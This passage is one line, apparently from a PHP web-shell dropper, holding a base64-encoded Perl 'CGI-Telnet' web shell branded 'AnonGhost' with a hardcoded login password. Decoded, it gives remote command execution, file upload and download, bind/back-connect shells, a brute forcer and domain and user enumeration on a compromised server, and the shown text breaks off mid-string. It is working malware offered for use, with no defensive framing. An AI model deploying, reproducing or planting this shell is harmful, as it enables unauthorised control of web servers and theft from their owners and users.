  315. $cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVud